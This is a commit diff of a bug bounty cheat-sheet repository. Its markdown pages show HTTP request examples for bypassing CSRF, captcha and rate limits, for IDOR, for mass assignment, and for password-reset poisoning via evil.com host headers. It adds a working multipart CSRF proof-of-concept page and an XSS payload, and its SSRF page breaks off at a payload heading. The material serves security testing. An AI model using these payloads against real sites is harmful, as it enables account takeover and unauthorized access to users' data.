STRLCPY/AllAboutBugBounty

■ ■ ■ ■ ■ ■

Arbitrary File Upload.md

		skipped 10 lines
11	11		```
12	12		POST /images/upload/ HTTP/1.1
13	13		Host: target.com
14		-	[...]
	14	+	...
15	15
16	16		---------------------------829348923824
17	17		Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
		skipped 3 lines
21	21		```
22	22		POST /images/upload/ HTTP/1.1
23	23		Host: target.com
24		-	[...]
	24	+	...
25	25
26	26		---------------------------829348923824
27	27		Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
		skipped 4 lines
32	32		```
33	33		POST /images/upload/ HTTP/1.1
34	34		Host: target.com
35		-	[...]
	35	+	...
36	36
37	37		---------------------------829348923824
38	38		Content-Disposition: form-data; name="uploaded"; filename="dapos.php.jpg"
		skipped 3 lines
42	42		```
43	43		POST /images/upload/ HTTP/1.1
44	44		Host: target.com
45		-	[...]
	45	+	...
46	46
47	47		---------------------------829348923824
48	48		Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
		skipped 4 lines
53	53		```
54	54		POST /images/upload/ HTTP/1.1
55	55		Host: target.com
56		-	[...]
	56	+	...
57	57
58	58		---------------------------829348923824
59	59		Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
		skipped 33 lines

■ ■ ■ ■ ■ ■

Bypass/Bypass 429.md

		skipped 13 lines
14	14		POST /ForgotPass.php HTTP/1.1
15	15		Host: target.com
16	16		X-Forwarded-For : 127.0.0.1
17		-	[...]
	17	+	...
18	18
19	19		[email protected]
20	20		```
		skipped 2 lines
23	23		```
24	24		POST /ForgotPass.php HTTP/1.1
25	25		Host: target.com
26		-	[...]
	26	+	...
27	27
28	28		[email protected]%00
29	29		```
		skipped 3 lines
33	33		POST /ForgotPass.php HTTP/1.1
34	34		Host: target.com
35	35		Cookie: xxxxxxxxxx
36		-	[...]
	36	+	...
37	37
38	38		[email protected]
39	39		```
		skipped 2 lines
42	42		POST /ForgotPass.php HTTP/1.1
43	43		Host: target.com
44	44		Cookie: aaaaaaaaaaaaa
45		-	[...]
	45	+	...
46	46
47	47		[email protected]
48	48		```
		skipped 2 lines
51	51		```
52	52		POST /ForgotPass.php HTTP/1.1
53	53		Host: target.com
54		-	[...]
	54	+	...
55	55
56	56		[email protected]
57	57		```
		skipped 1 lines
59	59		```
60	60		POST /ForgotPass.php?random HTTP/1.1
61	61		Host: target.com
62		-	[...]
	62	+	...
63	63
64	64		[email protected]
65	65		```
		skipped 2 lines
68	68		```
69	69		POST /api/forgotpass HTTP/1.1
70	70		Host: target.com
71		-	[...]
	71	+	...
72	72
73	73		{"email":"[email protected]"}
74	74		```
		skipped 1 lines
76	76		```
77	77		POST /api/forgotpass HTTP/1.1
78	78		Host: target.com
79		-	[...]
	79	+	...
80	80
81	81		{"email":"[email protected] "}
82	82		```
		skipped 4 lines

■ ■ ■ ■ ■ ■

Bypass/Bypass CSRF.md

		skipped 3 lines
4	4		```
5	5		POST /register HTTP/1.1
6	6		Host: target.com
7		-	[...]
	7	+	...
8	8
9	9		username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
10	10		```
		skipped 1 lines
12	12		```
13	13		POST /register HTTP/1.1
14	14		Host: target.com
15		-	[...]
	15	+	...
16	16
17	17		username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
18	18		```
		skipped 2 lines
21	21		```
22	22		POST /register HTTP/1.1
23	23		Host: target.com
24		-	[...]
	24	+	...
25	25
26	26		username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
27	27		```
		skipped 1 lines
29	29		```
30	30		POST /register HTTP/1.1
31	31		Host: target.com
32		-	[...]
	32	+	...
33	33
34	34		username=dapos&password=123456&token=
35	35		```
		skipped 2 lines
38	38		```
39	39		POST /register HTTP/1.1
40	40		Host: target.com
41		-	[...]
	41	+	...
42	42
43	43		username=dapos&password=123456&token=aaaaaa
44	44		```
		skipped 1 lines
46	46		```
47	47		POST /register HTTP/1.1
48	48		Host: target.com
49		-	[...]
	49	+	...
50	50
51	51		username=dapos&password=123456&token=aaabaa
52	52		```
		skipped 1 lines
54	54		```
55	55		POST /register HTTP/1.1
56	56		Host: target.com
57		-	[...]
	57	+	...
58	58
59	59		username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
60	60		```
		skipped 1 lines
62	62		```
63	63		GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
64	64		Host: target.com
65		-	[...]
	65	+	...
66	66		```
67	67
68	68		5. Remove the token from request
69	69		```
70	70		POST /register HTTP/1.1
71	71		Host: target.com
72		-	[...]
	72	+	...
73	73
74	74		username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
75	75		```
		skipped 1 lines
77	77		```
78	78		POST /register HTTP/1.1
79	79		Host: target.com
80		-	[...]
	80	+	...
81	81
82	82		username=dapos&password=123456
83	83		```
		skipped 2 lines
86	86		```
87	87		POST /register HTTP/1.1
88	88		Host: target.com
89		-	[...]
	89	+	...
90	90
91	91		username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
92	92		```
		skipped 2 lines
95	95		```
96	96		POST /register HTTP/1.1
97	97		Host: target.com
98		-	[...]
	98	+	...
99	99
100	100		username=dapos&password=123456&token=MTIzNDU2
101	101		```
		skipped 3 lines
105	105		```
106	106		POST /register HTTP/1.1
107	107		Host: target.com
108		-	[...]
	108	+	...
109	109
110	110		username=dapos&password=123456&token=vi802jg9f8akd9j123
111	111		```
		skipped 1 lines
113	113		```
114	114		POST /register HTTP/1.1
115	115		Host: target.com
116		-	[...]
	116	+	...
117	117
118	118		username=dapos&password=123456&token=vi802jg9f8akd9j124
119	119		```
		skipped 2 lines

■ ■ ■ ■ ■ ■

Bypass/Bypass Captcha.md

		skipped 3 lines
4	4		```
5	5		POST / HTTP 1.1
6	6		Host: target.com
7		-	[...]
	7	+	...
8	8
9	9		_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
10	10		```
		skipped 2 lines
13	13		```
14	14		GET /?_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123 HTTP 1.1
15	15		Host: target.com
16		-	[...]
	16	+	...
17	17		```
18	18
19	19		2. Try remove the value of the captcha parameter
20	20		```
21	21		POST / HTTP 1.1
22	22		Host: target.com
23		-	[...]
	23	+	...
24	24
25	25		_RequestVerificationToken=&_Username=daffa&_Password=test123
26	26		```
		skipped 2 lines
29	29		```
30	30		POST / HTTP 1.1
31	31		Host: target.com
32		-	[...]
	32	+	...
33	33
34	34		_RequestVerificationToken=OLD_CAPTCHA_TOKEN&_Username=daffa&_Password=test123
35	35		```
		skipped 2 lines
38	38		```
39	39		POST / HTTP 1.1
40	40		Host: target.com
41		-	[...]
	41	+	...
42	42
43	43		{"_RequestVerificationToken":"xxxxxxxxxxxxxx","_Username":"daffa","_Password":"test123"}
44	44		```
		skipped 1 lines
46	46		```
47	47		POST / HTTP 1.1
48	48		Host: target.com
49		-	[...]
	49	+	...
50	50
51	51		_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
52	52		```
		skipped 10 lines
63	63		```
64	64		POST / HTTP 1.1
65	65		Host: target.com
66		-	[...]
	66	+	...
67	67
68	68		_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
69	69		```
		skipped 1 lines
71	71		```
72	72		POST / HTTP 1.1
73	73		Host: target.com
74		-	[...]
	74	+	...
75	75
76	76		_RequestVerificationToken=xxxdxxxaxxcxxx&_Username=daffa&_Password=test123
77	77		```
		skipped 1 lines

■ ■ ■ ■ ■ ■

Misc/Password Reset Flaws.md Checklist/Forgot Password.md

1		-	## Password Reset Flaws
	1	+	## Forgot Password Functionality
2	2
3	3		## Introduction
4		-	Common security flaws in password reset functionality
	4	+	Some common bugs in the forgot password / reset password functionality
5	5
6	6		## How to exploit
7		-	1. Parameter pollution in reset password
	7	+	1. Parameter pollution
8	8		```
9		-	POST /reset
10		-	[...]
	9	+	POST /reset HTTP/1.1
	10	+	Host: target.com
	11	+	...
	12	+
11	13		[email protected]&[email protected]
12	14		```
13	15
14	16		2. Bruteforce the OTP code
15	17		```
16		-	POST /reset
17		-	[...]
	18	+	POST /reset HTTP/1.1
	19	+	Host: target.com
	20	+	...
	21	+
18	22		[email protected]&code=$123456$
19	23		```
20	24
21	25		3. Host header Injection
22	26		```
23		-	POST /reset
24		-	Host: evil.com
25		-	[...]
	27	+	POST /reset HTTP/1.1
	28	+	Host: target.com
	29	+	...
	30	+
26	31		[email protected]
27	32		```
	33	+	to
28	34		```
29		-	POST /reset
	35	+	POST /reset HTTP/1.1
30	36		Host: target.com
31	37		X-Forwarded-Host: evil.com
32		-	[...]
	38	+	...
	39	+
33	40		[email protected]
34	41		```
35	42		And the victim will receive the reset link with evil.com
36	43
37	44		4. Using separator in value of the parameter
38	45		```
39		-	POST /reset
40		-	[...]
	46	+	POST /reset HTTP/1.1
	47	+	Host: target.com
	48	+	...
	49	+
41	50		[email protected],[email protected]
42	51		```
43	52		```
44		-	POST /reset
45		-	[...]
	53	+	POST /reset HTTP/1.1
	54	+	Host: target.com
	55	+	...
	56	+
46	57		[email protected]%[email protected]
47	58		```
48	59		```
49		-	POST /reset
50		-	[...]
	60	+	POST /reset HTTP/1.1
	61	+	Host: target.com
	62	+	...
	63	+
51	64		[email protected]\|[email protected]
52	65		```
53	66		```
54		-	POST /reset
55		-	[...]
	67	+	POST /reset HTTP/1.1
	68	+	Host: target.com
	69	+	...
	70	+
56	71		[email protected]%[email protected]
57	72		```
58	73
59	74		5. No domain in value of the paramter
60	75		```
61		-	POST /reset
62		-	[...]
	76	+	POST /reset HTTP/1.1
	77	+	Host: target.com
	78	+	...
	79	+
63	80		email=victim
64	81		```
65	82
66	83		6. No TLD in value of the parameter
67	84		```
68		-	POST /reset
69		-	[...]
	85	+	POST /reset HTTP/1.1
	86	+	Host: target.com
	87	+	...
	88	+
70	89		email=victim@mail
71	90		```
72	91
73	92		7. Using carbon copy
74	93		```
75		-	POST /reset
76		-	[...]
	94	+	POST /reset HTTP/1.1
	95	+	Host: target.com
	96	+	...
	97	+
77	98		[email protected]%0a%0dcc:[email protected]
78	99		```
79	100
80	101		8. If there is JSON data in body requests, add comma
81	102		```
82		-	POST /newaccount
83		-	[...]
	103	+	POST /newaccount HTTP/1.1
	104	+	Host: target.com
	105	+	...
	106	+
84	107		{"email":"[email protected]","[email protected]","token":"xxxxxxxxxx"}
85	108		```
86	109
		skipped 3 lines
90	113		- Generated based on the email of the user
91	114		- Generated based on the name of the user
92	115
	116	+	10. Try Cross-Site Scripting (XSS) in the form
	117	+
	118	+	Sometimes the email is reflected in the forgot password page, try to use XSS payload
	119	+	```
	120	+	"<svg/onload=alert(1)>"@gmail.com
	121	+	```
93	122		## References
94	123		* [anugrahsr](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
95	124		* [Frooti](https://twitter.com/HackerGautam/status/1502264873287569414)

■ ■ ■ ■ ■ ■ ■

Cross Site Request Forgery.md

		skipped 2 lines
3	3		## Introduction
4	4		Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated
5	5
6		-	## How to find
	6	+	## Where to find
7	7		Usually found in forms. Try submit the form and check the HTTP request. If the HTTP request does not have a CSRF token then it is likely to be vulnerable to a CSRF attack. But in some cases, the CSRF token can be bypassed, try check this [List](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20CSRF.md)
8	8
9	9		## How to exploit
		skipped 33 lines
43	43		```
44	44
45	45		5. Multipart request
46		-	Soon
	46	+	```html
	47	+	<head>
	48	+	<title>Multipart CSRF PoC</title>
	49	+	</head>
	50	+	<body>
	51	+	<br>
	52	+	<hr>
	53	+	<h2>Click Submit request</h2><br>
	54	+	<script>
	55	+	function submitRequest()
	56	+	{
	57	+	var xhr = new XMLHttpRequest();
	58	+	xhr.open("POST", "https://example/api/users", true);
	59	+	xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8");
	60	+	xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
	61	+	xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------149631704917378");
	62	+	xhr.withCredentials = true;
	63	+	var body = "-----------------------------149631704917378\r\n" +
	64	+	"Content-Disposition: form-data; name=\"action\"\r\n" +
	65	+	"\r\n" +
	66	+	"update\r\n" +
	67	+	"-----------------------------149631704917378\r\n" +
	68	+	"Content-Disposition: form-data; name=\"user_id\"\r\n" +
	69	+	"\r\n" +
	70	+	"1\r\n" +
	71	+	"-----------------------------149631704917378\r\n" +
	72	+	"Content-Disposition: form-data; name=\"uname\"\r\n" +
	73	+	"\r\n" +
	74	+	"daffainfo\r\n" +
	75	+	"-----------------------------149631704917378\r\n" +
	76	+	"Content-Disposition: form-data; name=\"first_name\"\r\n" +
	77	+	"\r\n" +
	78	+	"m\r\n" +
	79	+	"-----------------------------149631704917378\r\n" +
	80	+	"Content-Disposition: form-data; name=\"last_name\"\r\n" +
	81	+	"\r\n" +
	82	+	"daffa\r\n" +
	83	+	"-----------------------------149631704917378--\r\n";
	84	+	var aBody = new Uint8Array(body.length);
	85	+	for (var i = 0; i < aBody.length; i++)
	86	+	aBody[i] = body.charCodeAt(i);
	87	+	xhr.send(new Blob([aBody]));
	88	+	}
	89	+	</script>
	90	+	<form action="#">
	91	+	<input type="button" value="Submit request" onclick="submitRequest();" />
	92	+	</form>
	93	+	<br>
	94	+	</body>
	95	+	```

■ ■ ■ ■ ■ ■

Cross Site Scripting.md

		skipped 235 lines
236	236		<html>
237	237		<body>
238	238		'onload=alert(1)><svg/1='
239		-	[...]
	239	+	...
240	240		'onload=alert(1)><svg/1='
241	241		</body>
242	242		</html>
		skipped 12 lines
255	255		<html>
256	256		<body>
257	257		/alert(1)">'onload="/<svg/1='
258		-	[...]
	258	+	...
259	259		/alert(1)">'onload="/<svg/1='
260		-	[...]
	260	+	...
261	261		/alert(1)">'onload="/<svg/1='
262	262		</body>
263	263		</html>
		skipped 126 lines

■ ■ ■ ■ ■ ■

Denial Of Service.md

		skipped 15 lines
16	16
17	17		2. Try input a very long payload to form. For example using very long password or using very long email
18	18		```
19		-	POST /Register HTTP/1.1
	19	+	POST /register HTTP/1.1
20	20		Host: target.com
21		-	[...]
	21	+	...
22	22
23	23		username=victim&password=aaaaaaaaaaaaaaa
24	24		```
		skipped 32 lines
57	57		GET /index.html HTTP/1.1
58	58		Host: victim.com
59	59		X-Oversized-Header-1: Big_Value
	60	+	...
	61	+
60	62		```
61	63		The response is
62	64		```
63	65		HTTP/1.1 400 Bad Request
64	66		...
	67	+
65	68		Header size exceeded
66	69		```
67	70		- HTTP Meta Character (HMC)
		skipped 4 lines
72	75		GET /index.html HTTP /1.1
73	76		Host: victim.com
74	77		X-Meta-Malicious-Header: \r\n
	78	+	...
75	79		```
76	80		The response is
77	81		```
78	82		HTTP/1.1 400 Bad Request
79	83		...
	84	+
80	85		Character not allowed
81	86		```
82	87		- HTTP Method Override (HMO)
		skipped 9 lines
92	97		GET /index.php HTTP/1.1
93	98		Host: victim.com
94	99		X-HTTP-Method-Override: POST
	100	+	...
95	101		```
96	102		The response is
97	103		```
98	104		HTTP/1.1 404 Not Found
99	105		...
100		-	POST on /index.php not foudn
	106	+
	107	+	POST on /index.php not found
101	108		```
102	109
103	110		- X-Forwarded-Port
		skipped 1 lines
105	112		GET /index.php?dontpoisoneveryone=1 HTTP/1.1
106	113		Host: www.hackerone.com
107	114		X-Forwarded-Port: 123
	115	+	...
108	116		```
109	117
110	118		- X-Forwarded-Host
		skipped 1 lines
112	120		GET /index.php?dontpoisoneveryone=1 HTTP/1.1
113	121		Host: www.hackerone.com
114	122		X-Forwarded-Host: www.hackerone.com:123
	123	+	...
115	124		```
116	125
117	126		![Response DoS](https://portswigger.net/cms/images/6f/83/45a1a9f841b9-article-screen_shot_2018-09-13_at_11.08.12.png)
		skipped 12 lines

■ ■ ■ ■ ■ ■

Host Header Injection.md

		skipped 28 lines
29	29		```
30	30		4. Add host override headers
31	31		```
32		-	X-Forwarded-For : evil-website.com
33		-	X-Forwarded-Host : evil-website.com
34		-	X-Client-IP : evil-website.com
35		-	X-Remote-IP : evil-website.com
36		-	X-Remote-Addr : evil-website.com
37		-	X-Host : evil-website.com
	32	+	X-Forwarded-For: evil-website.com
	33	+	X-Forwarded-Host: evil-website.com
	34	+	X-Client-IP: evil-website.com
	35	+	X-Remote-IP: evil-website.com
	36	+	X-Remote-Addr: evil-website.com
	37	+	X-Host: evil-website.com
38	38		```
39	39		How to use? In this case im using "X-Forwarded-For : evil.com"
40	40		```
		skipped 15 lines

■ ■ ■ ■ ■ ■

Insecure Direct Object References.md

		skipped 9 lines
10	10		## How to exploit
11	11		1. Add parameters onto the endpoints for example, if there was
12	12		```
13		-	GET /api/v1/getuser
14		-	[...]
	13	+	GET /api/v1/getuser HTTP/1.1
	14	+	Host: example.com
	15	+	...
15	16		```
16	17		Try this to bypass
17	18		```
18		-	GET /api/v1/getuser?id=1234
19		-	[...]
	19	+	GET /api/v1/getuser?id=1234 HTTP/1.1
	20	+	Host: example.com
	21	+	...
20	22		```
21	23
22	24		2. HTTP Parameter pollution
23	25		```
24		-	POST /api/get_profile
25		-	[...]
	26	+	POST /api/get_profile HTTP/1.1
	27	+	Host: example.com
	28	+	...
	29	+
26	30		user_id=hacker_id&user_id=victim_id
27	31		```
28	32
29	33		3. Add .json to the endpoint
30	34		```
31		-	GET /v2/GetData/1234
32		-	[...]
	35	+	GET /v2/GetData/1234 HTTP/1.1
	36	+	Host: example.com
	37	+	...
33	38		```
34	39		Try this to bypass
35	40		```
36		-	GET /v2/GetData/1234.json
37		-	[...]
	41	+	GET /v2/GetData/1234.json HTTP/1.1
	42	+	Host: example.com
	43	+	...
38	44		```
39	45
40	46		4. Test on outdated API Versions
41	47		```
42		-	POST /v2/GetData
43		-	[...]
	48	+	POST /v2/GetData HTTP/1.1
	49	+	Host: example.com
	50	+	...
	51	+
44	52		id=123
45	53		```
46	54		Try this to bypass
47	55		```
48		-	POST /v1/GetData
49		-	[...]
	56	+	POST /v1/GetData HTTP/1.1
	57	+	Host: example.com
	58	+	...
	59	+
50	60		id=123
51	61		```
52	62
53	63		5. Wrap the ID with an array.
54	64		```
55		-	POST /api/get_profile
56		-	[...]
	65	+	POST /api/get_profile HTTP/1.1
	66	+	Host: example.com
	67	+	...
	68	+
57	69		{"user_id":111}
58	70		```
59	71		Try this to bypass
60	72		```
61		-	POST /api/get_profile
62		-	[...]
	73	+	POST /api/get_profile HTTP/1.1
	74	+	Host: example.com
	75	+	...
	76	+
63	77		{"id":[111]}
64	78		```
65	79
66	80		6. Wrap the ID with a JSON object
67	81		```
68		-	POST /api/get_profile
69		-	[...]
	82	+	POST /api/get_profile HTTP/1.1
	83	+	Host: example.com
	84	+	...
	85	+
70	86		{"user_id":111}
71	87		```
72	88		Try this to bypass
73	89		```
74		-	POST /api/get_profile
75		-	[...]
	90	+	POST /api/get_profile HTTP/1.1
	91	+	Host: example.com
	92	+	...
	93	+
76	94		{"user_id":{"user_id":111}}
77	95		```
78	96
79	97		7. JSON Parameter Pollution
80	98		```
81		-	POST /api/get_profile
82		-	[...]
	99	+	POST /api/get_profile HTTP/1.1
	100	+	Host: example.com
	101	+	...
	102	+
83	103		{"user_id":"hacker_id","user_id":"victim_id"}
84	104		```
85	105
86	106		8. Try decode the ID, if the ID encoded using md5,base64,etc
87	107		```
88		-	GET /GetUser/dmljdGltQG1haWwuY29t
89		-	[...]
	108	+	GET /GetUser/dmljdGltQG1haWwuY29t HTTP/1.1
	109	+	Host: example.com
	110	+	...
90	111		```
91	112		dmljdGltQG1haWwuY29t => [email protected]
92	113
93		-	9. If the website using graphql, try to find IDOR using graphql!
	114	+	9. If the website using GraphQL, try to find IDOR using GraphQL
94	115		```
95		-	GET /graphql
96		-	[...]
	116	+	GET /graphql HTTP/1.1
	117	+	Host: example.com
	118	+	...
97	119		```
98	120		```
99		-	GET /graphql.php?query=
100		-	[...]
	121	+	GET /graphql.php?query= HTTP/1.1
	122	+	Host: example.com
	123	+	...
101	124		```
102	125
103	126		10. MFLAC (Missing Function Level Access Control)
104	127		```
105		-	GET /admin/profile
	128	+	GET /admin/profile HTTP/1.1
	129	+	Host: example.com
	130	+	...
106	131		```
107	132		Try this to bypass
108	133		```
109		-	GET /ADMIN/profile
	134	+	GET /ADMIN/profile HTTP/1.1
	135	+	Host: example.com
	136	+	...
110	137		```
111	138
112	139		11. Try to swap uuid with number
113	140		```
114		-	GET /file?id=90ri2-xozifke-29ikedaw0d
	141	+	GET /file?id=90ri2-xozifke-29ikedaw0d HTTP/1.1
	142	+	Host: example.com
	143	+	...
115	144		```
116	145		Try this to bypass
117	146		```
118	147		GET /file?id=302
	148	+	Host: example.com
	149	+	...
119	150		```
120	151
121	152		12. Change HTTP Method
122	153		```
123		-	GET /api/v1/users/profile/111
	154	+	GET /api/v1/users/profile/111 HTTP/1.1
	155	+	Host: example.com
	156	+	...
124	157		```
125	158		Try this to bypass
126	159		```
127		-	POST /api/v1/users/profile/111
	160	+	POST /api/v1/users/profile/111 HTTP/1.1
	161	+	Host: example.com
	162	+	...
128	163		```
129	164
130	165		13. Path traversal
131	166		```
132		-	GET /api/v1/users/profile/victim_id
	167	+	GET /api/v1/users/profile/victim_id HTTP/1.1
	168	+	Host: example.com
	169	+	...
133	170		```
134	171		Try this to bypass
135	172		```
136		-	GET /api/v1/users/profile/my_id/../victim_id
	173	+	GET /api/v1/users/profile/my_id/../victim_id HTTP/1.1
	174	+	Host: example.com
	175	+	...
137	176		```
138	177
139		-	14. Change request content type
	178	+	14. Change request `Content-Type`
140	179		```
	180	+	GET /api/v1/users/1 HTTP/1.1
	181	+	Host: example.com
141	182		Content-type: application/xml
142	183		```
143	184		Try this to bypass
144	185		```
	186	+	GET /api/v1/users/2 HTTP/1.1
	187	+	Host: example.com
145	188		Content-type: application/json
146	189		```
147	190
148	191		15. Send wildcard instead of ID
149	192		```
150		-	GET /api/users/111
	193	+	GET /api/users/111 HTTP/1.1
	194	+	Host: example.com
151	195		```
152	196		Try this to bypass
153	197		```
154		-	GET /api/users/*
	198	+	GET /api/users/* HTTP/1.1
	199	+	Host: example.com
	200	+	```
	201	+	```
	202	+	GET /api/users/% HTTP/1.1
	203	+	Host: example.com
	204	+	```
	205	+	```
	206	+	GET /api/users/_ HTTP/1.1
	207	+	Host: example.com
155	208		```
156		-
	209	+	```
	210	+	GET /api/users/. HTTP/1.1
	211	+	Host: example.com
	212	+	```
157	213		16. Try google dorking to find new endpoint
158	214
159	215		## References
		skipped 2 lines

■ ■ ■ ■ ■ ■

Misc/Mass Assignment.md Mass Assignment.md

		skipped 5 lines
6	6		## How to exploit
7	7		- Normal request
8	8		```
9		-	POST /editdata
10		-	Host: vuln.com
	9	+	POST /editdata HTTP/1.1
	10	+	Host: target.com
	11	+	...
11	12
12	13		username=daffa
13	14		```
	15	+	The response
14	16		```
15	17		HTTP/1.1 200 OK
16	18		...
17	19
18		-	username=daffa&admin=false
	20	+	{"status":"success","username":"daffainfo","isAdmin":"false"}
19	21		```
20	22
21	23		- Modified Request
22	24		```
23		-	POST /editdata
24		-	Host: vuln.com
	25	+	POST /editdata HTTP/1.1
	26	+	Host: target.com
	27	+	...
25	28
26	29		username=daffa&admin=true
27	30		```
		skipped 2 lines
30	33		HTTP/1.1 200 OK
31	34		...
32	35
33		-	username=daffa&admin=true
	36	+	{"status":"success","username":"daffainfo","isAdmin":"true"}
34	37		```
35	38
36	39		## References
		skipped 1 lines

■ ■ ■ ■ ■ ■

Misc/Account Takeover.md

		skipped 11 lines
12	12
13	13		2. Try re-sign up using same email
14	14		```
15		-	POST /newaccount
16		-	[...]
	15	+	POST /newaccount HTTP/1.1
	16	+	...
17	17		[email protected]&password=1234
18	18		```
19	19		After sign up using victim email, try signup again but using different password
20	20		```
21		-	POST /newaccount
22		-	[...]
	21	+	POST /newaccount HTTP/1.1
	22	+	...
23	23		[email protected]&password=hacked
24	24		```
25	25
		skipped 15 lines
41	41
42	42		4. Chaining with IDOR, for example
43	43		```
44		-	POST /changepassword.php
	44	+	POST /changepassword.php HTTP/1.1
45	45		Host: site.com
46		-	[...]
	46	+	...
47	47		userid=500&password=heked123
48	48		```
49	49		500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID
		skipped 7 lines

■ ■ ■ ■ ■ ■

Misc/Broken Link Hijacking.md

		skipped 8 lines
9	9
10	10		## Tools
11	11		- [broken-link-checker](https://github.com/stevenvachon/broken-link-checker)
	12	+	- [Check My Links](https://chrome.google.com/webstore/detail/check-my-links/ojkcdipcgfaekbeaelaapakgnjflfglf/related)
12	13
13	14		## References
14	15		- [Broken Link Hijacking - How expired links can be exploited.](https://edoverflow.com/2017/broken-link-hijacking/)
		skipped 2 lines

■ ■ ■ ■ ■ ■

Misc/Default Credentials

1

+

■ ■ ■ ■ ■ ■

README.md

		skipped 5 lines
6	6		![](https://img.shields.io/github/stars/daffainfo/AllAboutBugBounty)
7	7		![](https://img.shields.io/github/last-commit/daffainfo/AllAboutBugBounty)
8	8
9		-	## List
	9	+	## List Vulnerability
10	10		- [Arbitrary File Upload](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Arbitrary%20File%20Upload.md)
11	11		- [Business Logic Errors](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Business%20Logic%20Errors.md)
12	12		- [CRLF Injection](https://github.com/daffainfo/AllAboutBugBounty/blob/master/CRLF%20Injection.md)
		skipped 4 lines
17	17		- [Host Header Injection](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Host%20Header%20Injection.md)
18	18		- [Insecure Direct Object References (IDOR)](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Insecure%20Direct%20Object%20References.md)
19	19		- [Local File Inclusion (LFI)](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Local%20File%20Inclusion.md)
	20	+	- [Mass Assignment](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Mass%20Assignment.md)
20	21		- [NoSQL Injection](https://github.com/daffainfo/AllAboutBugBounty/blob/master/NoSQL%20Injection.md)
21	22		- [OAuth Misconfiguration](https://github.com/daffainfo/AllAboutBugBounty/blob/master/OAuth%20Misconfiguration.md)
22	23		- [Open Redirect](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Open%20Redirect.md)
		skipped 1 lines
24	25		- SQL Injection (SOON)
25	26		- [Web Cache Poisoning](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Web%20Cache%20Poisoning.md)
26	27
	28	+	## Checklist
	29	+	- [Forgot Password Functionality](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Checklist/Forgot%20Password.md)
	30	+	- Register Functionality SOON!
	31	+
27	32		## List Bypass
28	33		- [Bypass 2FA](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%202FA.md)
29	34		- [Bypass 403](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Bypass/Bypass%20403.md)
		skipped 8 lines
38	43		- [Default Credentials](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Misc/Default%20Credentials.md)
39	44		- [Email Spoofing](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Misc/Email%20Spoofing.md)
40	45		- [JWT Vulnerabilities](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Misc/JWT%20Vulnerabilities.md)
41		-	- [Mass Assignment](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Misc/Mass%20Assignment.md)
42		-	- [Password Reset Flaws](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Misc/Password%20Reset%20Flaws.md)
43	46		- [Tabnabbing](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Misc/Tabnabbing.md)
44	47
45	48		## Technologies
		skipped 2 lines
48	51		- [Grafana](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Grafana.md)
49	52		- [HAProxy](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/HAProxy.md)
50	53		- [Jira](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Jira.md)
	54	+	- [Joomla](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Joomla.md)
51	55		- [Jenkins](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Jenkins.md)
52	56		- [Moodle](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Moodle.md)
53	57		- [Laravel](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Technologies/Laravel.md)
		skipped 12 lines

Recon/Github Dorks.md Reconnaissance/Github Dorks.md

Content is identical

Recon/Google Dorks.md Reconnaissance/Google Dorks.md

Content is identical

Recon/Scope.md Reconnaissance/Scope.md

Content is identical

Recon/Shodan Dorks.md Reconnaissance/Shodan Dorks.md

Content is identical

■ ■ ■ ■ ■ ■

Server Side Request Forgery.md

1	+	# Server Side Request Forgery (SSRF)
2	+
3	+	## Introduction
4	+	Server Side Request Forgery is a web application vulnerability that allows attackers to make outgoing requests originating from the vulnerable server
5	+
6	+	## Where to find
7	+	Usually it can be found in the request that contain request to another url, for example like this
8	+	```
9	+	POST /api/check/products HTTP/1.1
10	+	Host: example.com
11	+	Content-Type: application/x-www-form-urlencoded
12	+	Origin: https://example.com
13	+	Referer: https://example.com
14	+
15	+	urlApi=http://192.168.1.1%2fapi%2f&id=1
16	+	```
17	+
18	+	or
19	+
20	+	```
21	+	GET /image?url=http://192.168.1.1/
22	+	Host: example.com
23	+	```
24	+
25	+	## How to exploit
26	+	1. Basic payload
27	+	```
